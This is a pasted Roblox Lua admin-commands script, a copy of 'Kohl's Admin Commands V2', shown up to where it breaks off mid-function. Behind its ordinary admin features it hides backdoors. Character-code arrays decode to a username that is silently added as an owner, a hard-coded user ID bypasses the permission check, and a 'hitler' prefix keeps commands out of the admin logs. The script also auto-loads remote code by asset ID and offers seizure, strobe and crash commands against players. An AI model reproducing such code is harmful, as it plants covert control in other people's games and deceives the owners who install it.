Advertisement
Jamil_And_Brol

Untitled

Nov 24th, 2018
137
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 109.94 KB | None | 0 0
  1. --Converted with ttyyuu12345's model to script plugin v4
  2. function sandbox(var,func)
  3. local env = getfenv(func)
  4. local newenv = setmetatable({},{
  5. __index = function(self,k)
  6. if k=="script" then
  7. return var
  8. else
  9. return env[k]
  10. end
  11. end,
  12. })
  13. setfenv(func,newenv)
  14. return func
  15. end
  16. cors = {}
  17. mas = Instance.new("Model",game:GetService("Lighting"))
  18. Script0 = Instance.new("Script")
  19. Script0.Name = "Oh BOY"
  20. Script0.Parent = mas
  21. table.insert(cors,sandbox(Script0,function()
  22. -----------------------------------------------------------------------------------------
  23. --[[ Put your name where it says yourname ]]
  24. --[[ Please don't abuse with these scripts -ulti55 ]]
  25. -----------------------------------------------------------------------------------------
  26. local owners = {"brolbrolplayz"} -- Are able to set admins who can ban/etc... using :pa name
  27. local admins = {"brolbrolplayz"} -- Sets admins who can use ban/kick/admin or shutdown
  28. local tempadmins = {""} -- Sets admins who can't use ban/kick/admin or shutdown
  29. local banland = {""} -- Permanently Bans people
  30. local prefix = "code/" -- If you wanna change how your commands start ':'kill noob
  31. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  32. -----------------
  33. -- Group Admin --
  34. -----------------
  35. local GroupAdmin = false -- If a certain group can have admin
  36. local GroupId = 0 -- Sets the group id that can have admin
  37. local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin
  38. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  39. ---------------------
  40. -- Tips and Tricks --
  41. ---------------------
  42. --[[
  43. With this admin you can do a command on multiple people at a time;
  44. :kill me,noob1,noob2,random,team-raiders
  45.  
  46. You can also use a variety commands for different people;
  47. all
  48. others
  49. me
  50. team-
  51. admins
  52. nonadmins
  53. random
  54. --]]
  55. --------------
  56. -- Commands --
  57. --------------
  58. --[[
  59. -- Temp Admin Commands --
  60. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  61. 1. :s print("Hello World") -- Lets you script normally
  62. 2. :ls print("Hello World") -- Lets you script in localscripts
  63. 3. :clear -- Will remove all scripts/localscripts and jails
  64. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  65. 5. :kill kohl -- Kills the player
  66. 6. :respawn kohl -- Respawns the player
  67. 7. :trip kohl -- Trips the player
  68. 8. :stun kohl -- Stuns the player
  69. 9. :unstun kohl -- Unstuns the player
  70. 10. :jump kohl -- Makes the player jump
  71. 11. :sit kohl -- Makes the player sit
  72. 12. :invisible kohl -- Makes the player invisible
  73. 13. :visible kohl -- Makes the player visible
  74. 14. :explode kohl -- Makes the player explode
  75. 15. :fire kohl -- Sets the player on fire
  76. 16. :unfire kohl -- Removes fire from the player
  77. 17. :smoke kohl -- Adds smoke to the player
  78. 18. :unsmoke kohl -- Removes smoke from the player
  79. 19. :sparkles kohl -- Adds sparkles to the player
  80. 20. :unsparkles kohl -- Removes sparkles from the player
  81. 21. :ff kohl -- Adds a forcefield to the player
  82. 22. :unff kohl -- Removes the forcefield from the player
  83. 23. :punish kohl -- Punishes the player
  84. 24. :unpunish kohl -- Unpunishes the player
  85. 25. :freeze kohl -- Freezes the player
  86. 26. :thaw kohl -- Thaws the player
  87. 27. :heal kohl -- Heals the player
  88. 28. :god kohl -- Makes the player have infinite health
  89. 29. :ungod kohl -- Makes the player have 100 health
  90. 30. :ambient .5 .5 .5 -- Changes the ambient
  91. 31. :brightness .5 -- Changes the brightness
  92. 32. :time 12 -- Changes the time
  93. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  94. 34. :fogend 100 -- Changes the fogend
  95. 35. :fogstart 100 -- Changes the fogstart
  96. 36. :removetools kohl -- Removes all tools from the player
  97. 37. :btools kohl -- Gives the player building tools
  98. 38. :give kohl sword -- Gives the player a tool
  99. 39. :damage kohl -- Damages the player
  100. 40. :grav kohl -- Sets the player's gravity to normal
  101. 41. :setgrav kohl 100 -- Sets the player's gravity
  102. 42. :nograv kohl -- Makes the player have 0 gravity
  103. 43. :health kohl 1337 -- Changes the player's health
  104. 44. :speed kohl 1337 -- Changes the player's walkspeed
  105. 45. :name kohl potato -- Changes the player's name
  106. 46. :unname kohl -- Remove the player's name
  107. 47. :team kohl Raiders -- Changes the player's team
  108. 48. :stopmusic -- Will stop all music playing in the server
  109. 49. :teleport kohl potato -- Teleports the player
  110. 50. :change kohl kills 1337 -- Changes a player's stat
  111. 51. :kick kohl -- Removes the player from the game
  112. 52. :infect kohl -- Turns the player into a zombie
  113. 53. :rainbowify kohl -- Turns the player into a rainbow
  114. 54. :flashify kohl -- Turns the player into a strobe
  115. 55. :noobify kohl -- Turns the player into a noob
  116. 56. :ghostify kohl -- Turns the player into a ghost
  117. 57. :goldify kohl -- Turns the player into gold
  118. 58. :shiny kohl -- Makes the player shiny
  119. 59. :normal kohl -- Puts the player back to normal
  120. 60. :trippy kohl -- Spams random colors on the player's screen
  121. 61. :untrippy kohl -- Untrippys the player
  122. 62. :strobe kohl -- Spams white and black on the player's screen
  123. 63. :unstrobe kohl -- Unstrobes the player
  124. 64. :blind kohl -- Blinds the player
  125. 65. :unblind kohl -- Unblinds the player
  126. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  127. 67. :fling kohl -- Flings the player
  128. 68. :seizure kohl -- Puts the player in a seizure
  129. 69(lol). :music 1337 -- Plays a sound from the ID
  130. 70. :lock kohl -- Locks the player
  131. 71. :unlock kohl -- Unlocks the player
  132. 72. :removelimbs kohl -- Removes the player's limbs
  133. 73. :jail kohl -- Puts the player in a jail
  134. 74. :unjail kohl -- Removes the jail from the player
  135. 75. :fix -- This will fix the lighting to it's original settings
  136. 76. :fly kohl -- Makes the player fly
  137. 77. :unfly kohl -- Removes fly from the player
  138. 78. :noclip kohl -- Makes the player able to noclip
  139. 79. :clip kohl -- Removes noclipping from the player
  140. 80. :pm kohl Hey bro -- Sends the player a private message
  141. 81. :dog kohl -- Turns the player into a dog
  142. 82. :undog kohl -- Turns the player back to normal
  143. 83. :creeper kohl -- Turns the player into a creeper
  144. 84. :uncreeper kohl -- Turns the player back to normal
  145. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  146. 86. :char kohl 261 -- Will make a player look like a different player ID
  147. 87. :unchar kohl -- Will return the player back to normal
  148. 88. :h Hello People -- This will shout a hint to everyone
  149. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  150. 90. :starttools kohl -- Will give the player starter tools
  151. 91. :sword kohl -- Will give the player a sword
  152. 92. :bighead kohl -- Will make the player's head larger than normal
  153. 93. :minihead kohl -- Will make the player's head smaller than normal
  154. 94. :insert 1337 -- Will insert a model at the speaker's position
  155. 95. :disco -- Will make the server flash random colors
  156. 96. :flash -- Will make the server flash
  157. 97. :admins -- Shows the admin list
  158. 98. :bans -- Shows the banlist
  159. 99. :musiclist -- Shows the music list
  160. 100. :spin kohl -- Spins the player
  161. 101. :cape kohl Really black -- Gives the player a colored cape
  162. 102. :uncape kohl -- Removes the player's cape
  163. 103. :loopheal kohl -- Will constantly heal the player
  164. 104. :loopfling kohl -- Will constantly fling the player
  165. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  166. 106. :unloopheal kohl -- Will remove the loopheal on the player
  167. 107. :unloopfling kohl -- Will remove the loopfling on the player
  168. 108. :unspin kohl -- Removes spin from the player
  169. 109. :tools -- Gives a list of the tools in the lighting
  170. 110. :undisco -- Removes disco effects
  171. 111. :unflash -- Removes flash effects
  172. 112. :resetstats kohl -- Sets all the stats of a player to 0
  173. 113. :gear 1337 -- Gives a player a gear
  174. 114. :cmdbar -- Gives the speaker a command bar
  175. 115. :shirt kohl 1337 -- Changes the player's shirt
  176. 116. :pants kohl 1337 -- Changes the player's pants
  177. 117. :face kohl 1337 -- Changes the player's face
  178. 118. :swagify kohl -- Swagifies the player
  179. 119. :version -- Shows the current version of the admin
  180.  
  181. -- Super Admin Commands --
  182. - :serverlock -- Locks the server
  183. - :serverunlock -- Unlocks the server
  184. - :sm Hello World -- Creates a system message
  185. - :crash kohl -- Crashes a player
  186. - :admin kohl -- Admins a player
  187. - :unadmin kohl -- Unadmins a player
  188. - :ban kohl -- Bans a player
  189. - :unban kohl -- Unbans a player
  190. - :loopkill kohl -- Will constantly kill the player
  191. - :unloopkill kohl -- Will remove the loopkill on the player
  192. - :logs -- Will show all of the commands any admin has used in a game session
  193. - :shutdown -- Shutsdown the server
  194.  
  195. -- Owner Commands --
  196. - :pa kohl -- Makes someone a super admin
  197. - :unpa kohl -- Removes a super admin
  198. --]]
  199. -----------------
  200. -- Main Script --
  201. -----------------
  202.  
  203. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  204.  
  205. if AutoUpdate then wait(1)
  206. coroutine.resume(coroutine.create(function()
  207. local mod = game:service("InsertService"):LoadAsset(100808216)
  208. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) then
  209. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  210. newac.Disabled = true
  211. local new = tonumber(mod:findFirstChild("Version", true).Value)
  212. local old = 0
  213. if script:findFirstChild("Version") then old = tonumber(script.Version.Value) end
  214. if new > old then
  215. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  216. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  217. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  218. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  219. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  220. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  221. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  222. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  223. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  224. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  225. wait()
  226. newac.Parent = game.Workspace
  227. newac.Disabled = false
  228. script.Disabled = true
  229. script:Destroy()
  230. end
  231. end
  232. end))
  233. end
  234.  
  235. if game:service("Lighting"):findFirstChild("KACV2") then
  236. owners = {} admins = {} tempadmins = {} banland = {}
  237. for i,v in pairs(game.Lighting.KACV2:children()) do
  238. if v.Name == "Owner" then table.insert(owners, v.Value) end
  239. if v.Name == "Admin" then table.insert(admins, v.Value) end
  240. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  241. if v.Name == "Banland" then table.insert(banland, v.Value) end
  242. if v.Name == "Prefix" then prefix = v.Value end
  243. if v.Name == "FunCommands" then FunCommands = v.Value end
  244. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  245. if v.Name == "GroupId" then GroupId = v.Value end
  246. if v.Name == "GroupRank" then GroupRank = v.Value end
  247. end
  248. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  249. end
  250.  
  251. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  252. local lobjs = {}
  253. local objects = {}
  254. local logs = {}
  255. local nfs = ""
  256. local slock = false
  257.  
  258. function GetTime()
  259. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  260. if min < 10 then min = "0"..min end
  261. return hour..":"..min
  262. end
  263.  
  264. function ChkOwner(str)
  265. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  266. return false
  267. end
  268.  
  269. function ChkAdmin(str,ck)
  270. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  271. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  272. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  273. return false
  274. end
  275.  
  276. function ChkGroupAdmin(plr)
  277. if GroupAdmin then
  278. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  279. return false
  280. end
  281. end
  282.  
  283. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  284.  
  285. function GetPlr(plr, str)
  286. local plrz = {} str = str:lower()
  287. if str == "all" then plrz = game.Players:children()
  288. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  289. else
  290. local sn = {1} local en = {}
  291. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  292. for x = 1, #sn do
  293. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  294. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  295. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  296. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  297. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  298. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  299. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  300. end end end
  301. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  302. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  303. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  304. end end end
  305. else
  306. for a, plyr in pairs(game.Players:children()) do
  307. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  308. table.insert(plrz, plyr) break
  309. end
  310. end
  311. end
  312. end
  313. end
  314. return plrz
  315. end
  316.  
  317. function Hint(str, plrz, time)
  318. for i, v in pairs(plrz) do
  319. if v and v:findFirstChild("PlayerGui") then
  320. coroutine.wrap(function()
  321. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  322. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  323. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  324. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  325. if not time then wait((#str/19)+2.5) else wait(time) end
  326. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  327. end)()
  328. end
  329. end
  330. end
  331.  
  332. function Message(ttl, str, scroll, plrz, time)
  333. for i, v in pairs(plrz) do
  334. if v and v:findFirstChild("PlayerGui") then
  335. coroutine.resume(coroutine.create(function()
  336. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  337. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  338. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  339. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  340. scr.Parent = v.PlayerGui
  341. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  342. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  343. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  344. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  345. end))
  346. end
  347. end
  348. end
  349.  
  350. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end
  351. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  352.  
  353. function Output(str, plr)
  354. coroutine.resume(coroutine.create(function()
  355. local b, e = loadstring(str)
  356. if not b and plr:findFirstChild("PlayerGui") then
  357. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  358. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  359. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  360. return
  361. end
  362. end))
  363. end
  364.  
  365. function Noobify(char)
  366. if char and char:findFirstChild("Torso") then
  367. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  368. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  369. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  370. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  371. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  372. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  373. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  374. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  375. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  376. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  377. end end
  378. end
  379. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  380.  
  381. function Infect(char)
  382. if char and char:findFirstChild("Torso") then
  383. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  384. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  385. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  386. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  387. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  388. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  389. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  390. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  391. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  392. end end
  393. end
  394. end if not ntab then script:Destroy() end
  395.  
  396. function ScrollGui()
  397. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  398. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  399. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  400. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  401. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  402. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  403. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  404. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  405. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  406. local num = 0
  407. local downv = false
  408. local upv = false
  409.  
  410. down.MouseButton1Down:connect(function() downv = true upv = false
  411. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  412. repeat pos = pos + UDim2.new(0,0,0,-6)
  413. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  414. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  415. end)
  416. down.MouseButton1Up:connect(function() downv = false end)
  417. up.MouseButton1Down:connect(function() upv = true downv = false
  418. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  419. repeat pos = pos + UDim2.new(0,0,0,6)
  420. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  421. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  422. end)
  423. up.MouseButton1Up:connect(function() upv = false end)
  424. return scr, cmf, ent, num
  425. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  426. if not ntab then script:Destroy() end
  427. if not bct then script:Destroy() end
  428.  
  429. function Chat(msg,plr)
  430. coroutine.resume(coroutine.create(function()
  431. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  432. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  433. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  434. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  435. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  436. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  437. if msg:lower() == "cmds" or msg:lower() == "commands" then
  438. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  439. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  440. local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version"}
  441. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  442. local ost = {"pa plr","unpa plr"}
  443. local tost = {"oa plr","unoa plr"}
  444. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  445. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  446. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  447. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  448. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  449. end
  450.  
  451. if msg:lower() == "version" then Message("Version", script.Version.Value, true, plr) end
  452.  
  453. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  454. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  455. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
